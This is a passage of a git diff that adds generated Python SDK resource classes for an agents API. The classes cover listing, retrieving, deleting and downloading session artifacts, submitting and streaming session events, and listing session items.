+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}", session_id=session_id, artifact_id=artifact_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionArtifact,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: Optional[str] | Omit = omit,
+ environment_id: Optional[str] | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[SessionArtifact]:
+ """Lists immutable artifacts published by completed hosted session turns.
+
+ See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ after: Return artifacts after this immutable artifact ID.
+
+ environment_id: Restrict the listing to artifacts produced by this environment.
+
+ limit: The maximum number of artifacts to return, between 1 and 100.
+
+ order: Sort by creation time and ID. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/artifacts", session_id=session_id),
+ page=SyncCursorPage[SessionArtifact],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "environment_id": environment_id,
+ "limit": limit,
+ "order": order,
+ },
+ artifact_list_params.ArtifactListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=SessionArtifact,
+ )
+
+ def delete(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionArtifactDeleted:
+ """
+ Deletes an immutable session artifact without deleting its live environment file
+ or original Files API object. See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}", session_id=session_id, artifact_id=artifact_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionArtifactDeleted,
+ )
+
+ def content(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> _legacy_response.HttpxBinaryResponseContent:
+ """
+ Downloads immutable session artifact bytes after the execution environment
+ expires. See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
+ extra_headers = {"Accept": "application/octet-stream", **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}/content",
+ session_id=session_id,
+ artifact_id=artifact_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=_legacy_response.HttpxBinaryResponseContent,
+ )
+
+
+class AsyncArtifacts(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncArtifactsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncArtifactsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncArtifactsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncArtifactsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionArtifact:
+ """Retrieves immutable metadata for one durable session artifact.
+
+ See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}", session_id=session_id, artifact_id=artifact_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionArtifact,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: Optional[str] | Omit = omit,
+ environment_id: Optional[str] | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[SessionArtifact, AsyncCursorPage[SessionArtifact]]:
+ """Lists immutable artifacts published by completed hosted session turns.
+
+ See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ after: Return artifacts after this immutable artifact ID.
+
+ environment_id: Restrict the listing to artifacts produced by this environment.
+
+ limit: The maximum number of artifacts to return, between 1 and 100.
+
+ order: Sort by creation time and ID. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/artifacts", session_id=session_id),
+ page=AsyncCursorPage[SessionArtifact],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "environment_id": environment_id,
+ "limit": limit,
+ "order": order,
+ },
+ artifact_list_params.ArtifactListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=SessionArtifact,
+ )
+
+ async def delete(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionArtifactDeleted:
+ """
+ Deletes an immutable session artifact without deleting its live environment file
+ or original Files API object. See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}", session_id=session_id, artifact_id=artifact_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionArtifactDeleted,
+ )
+
+ async def content(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> _legacy_response.HttpxBinaryResponseContent:
+ """
+ Downloads immutable session artifact bytes after the execution environment
+ expires. See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
+ extra_headers = {"Accept": "application/octet-stream", **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/agents/sessions/{session_id}/artifacts/{artifact_id}/content",
+ session_id=session_id,
+ artifact_id=artifact_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=_legacy_response.HttpxBinaryResponseContent,
+ )
+
+
+class ArtifactsWithRawResponse:
+ def __init__(self, artifacts: Artifacts) -> None:
+ self._artifacts = artifacts
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ artifacts.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ artifacts.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ artifacts.delete,
+ )
+ self.content = _legacy_response.to_raw_response_wrapper(
+ artifacts.content,
+ )
+
+
+class AsyncArtifactsWithRawResponse:
+ def __init__(self, artifacts: AsyncArtifacts) -> None:
+ self._artifacts = artifacts
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ artifacts.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ artifacts.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ artifacts.delete,
+ )
+ self.content = _legacy_response.async_to_raw_response_wrapper(
+ artifacts.content,
+ )
+
+
+class ArtifactsWithStreamingResponse:
+ def __init__(self, artifacts: Artifacts) -> None:
+ self._artifacts = artifacts
+
+ self.retrieve = to_streamed_response_wrapper(
+ artifacts.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ artifacts.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ artifacts.delete,
+ )
+ self.content = to_custom_streamed_response_wrapper(
+ artifacts.content,
+ StreamedBinaryAPIResponse,
+ )
+
+
+class AsyncArtifactsWithStreamingResponse:
+ def __init__(self, artifacts: AsyncArtifacts) -> None:
+ self._artifacts = artifacts
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ artifacts.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ artifacts.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ artifacts.delete,
+ )
+ self.content = async_to_custom_streamed_response_wrapper(
+ artifacts.content,
+ AsyncStreamedBinaryAPIResponse,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/events.py b/src/openai/resources/beta/agents/sessions/events.py
new file mode 100644
index 0000000000..dc275d6b75
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/events.py
@@ -0,0 +1,291 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Any, Iterable, cast
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NoneType, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform, strip_not_given, async_maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ....._streaming import Stream, AsyncStream
+from ....._base_client import make_request_options
+from .....types.beta.agents.sessions import event_create_params
+from .....types.beta.agent_session_event import AgentSessionEvent
+from .....types.beta.agent_session_input_param import AgentSessionInputParam
+
+__all__ = ["Events", "AsyncEvents"]
+
+
+class Events(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> EventsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return EventsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> EventsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return EventsWithStreamingResponse(self)
+
+ def create(
+ self,
+ session_id: str,
+ *,
+ events: Iterable[AgentSessionInputParam],
+ idempotency_key: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Submits message, cancellation, or tool-result events to a managed agent session.
+ See
+ [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+
+ Args:
+ events: The input events to submit to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ extra_headers = {**strip_not_given({"Idempotency-Key": idempotency_key}), **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template("/agents/sessions/{session_id}/events", session_id=session_id),
+ body=maybe_transform({"events": events}, event_create_params.EventCreateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ def stream(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Stream[AgentSessionEvent]:
+ """Streams live events for an agent session.
+
+ See
+ [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "text/event-stream", **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/agents/sessions/{session_id}/events", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=cast(Any, AgentSessionEvent), # Union types cannot be passed in as arguments in the type system
+ stream=True,
+ stream_cls=Stream[AgentSessionEvent],
+ )
+
+
+class AsyncEvents(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncEventsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncEventsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncEventsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncEventsWithStreamingResponse(self)
+
+ async def create(
+ self,
+ session_id: str,
+ *,
+ events: Iterable[AgentSessionInputParam],
+ idempotency_key: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Submits message, cancellation, or tool-result events to a managed agent session.
+ See
+ [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+
+ Args:
+ events: The input events to submit to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ extra_headers = {**strip_not_given({"Idempotency-Key": idempotency_key}), **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template("/agents/sessions/{session_id}/events", session_id=session_id),
+ body=await async_maybe_transform({"events": events}, event_create_params.EventCreateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ async def stream(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncStream[AgentSessionEvent]:
+ """Streams live events for an agent session.
+
+ See
+ [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "text/event-stream", **(extra_headers or {})}
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/agents/sessions/{session_id}/events", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=cast(Any, AgentSessionEvent), # Union types cannot be passed in as arguments in the type system
+ stream=True,
+ stream_cls=AsyncStream[AgentSessionEvent],
+ )
+
+
+class EventsWithRawResponse:
+ def __init__(self, events: Events) -> None:
+ self._events = events
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ events.create,
+ )
+ self.stream = _legacy_response.to_raw_response_wrapper(
+ events.stream,
+ )
+
+
+class AsyncEventsWithRawResponse:
+ def __init__(self, events: AsyncEvents) -> None:
+ self._events = events
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ events.create,
+ )
+ self.stream = _legacy_response.async_to_raw_response_wrapper(
+ events.stream,
+ )
+
+
+class EventsWithStreamingResponse:
+ def __init__(self, events: Events) -> None:
+ self._events = events
+
+ self.create = to_streamed_response_wrapper(
+ events.create,
+ )
+ self.stream = to_streamed_response_wrapper(
+ events.stream,
+ )
+
+
+class AsyncEventsWithStreamingResponse:
+ def __init__(self, events: AsyncEvents) -> None:
+ self._events = events
+
+ self.create = async_to_streamed_response_wrapper(
+ events.create,
+ )
+ self.stream = async_to_streamed_response_wrapper(
+ events.stream,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/items.py b/src/openai/resources/beta/agents/sessions/items.py
new file mode 100644
index 0000000000..1bf2990f3a
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/items.py
@@ -0,0 +1,221 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Any, cast
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents.sessions import item_list_params
+from .....types.beta.agent_session_item import AgentSessionItem
+
+__all__ = ["Items", "AsyncItems"]
+
+
+class Items(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> ItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return ItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> ItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return ItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[AgentSessionItem]:
+ """
+ Lists items produced by the session's root agent, including its interactions
+ with subagents. Each subagent has its own item history. See
+ [inspecting agent output](https://developers.openai.com/api/docs/guides/agents-api/observability).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/items", session_id=session_id),
+ page=SyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class AsyncItems(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[AgentSessionItem, AsyncCursorPage[AgentSessionItem]]:
+ """
+ Lists items produced by the session's root agent, including its interactions
+ with subagents. Each subagent has its own item history. See
+ [inspecting agent output](https://developers.openai.com/api/docs/guides/agents-api/observability).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/items", session_id=session_id),
+ page=AsyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class ItemsWithRawResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = _legacy_response.to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithRawResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class ItemsWithStreamingResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = to_streamed_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithStreamingResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = async_to_streamed_response_wrapper(
+ items.list,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/sessions.py b/src/openai/resources/beta/agents/sessions/sessions.py
new file mode 100644
index 0000000000..d8ca960363
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/sessions.py
@@ -0,0 +1,1145 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Mapping, Iterable, Optional
+from typing_extensions import Literal, overload
+
+import httpx2
+
+from ..... import _legacy_response
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
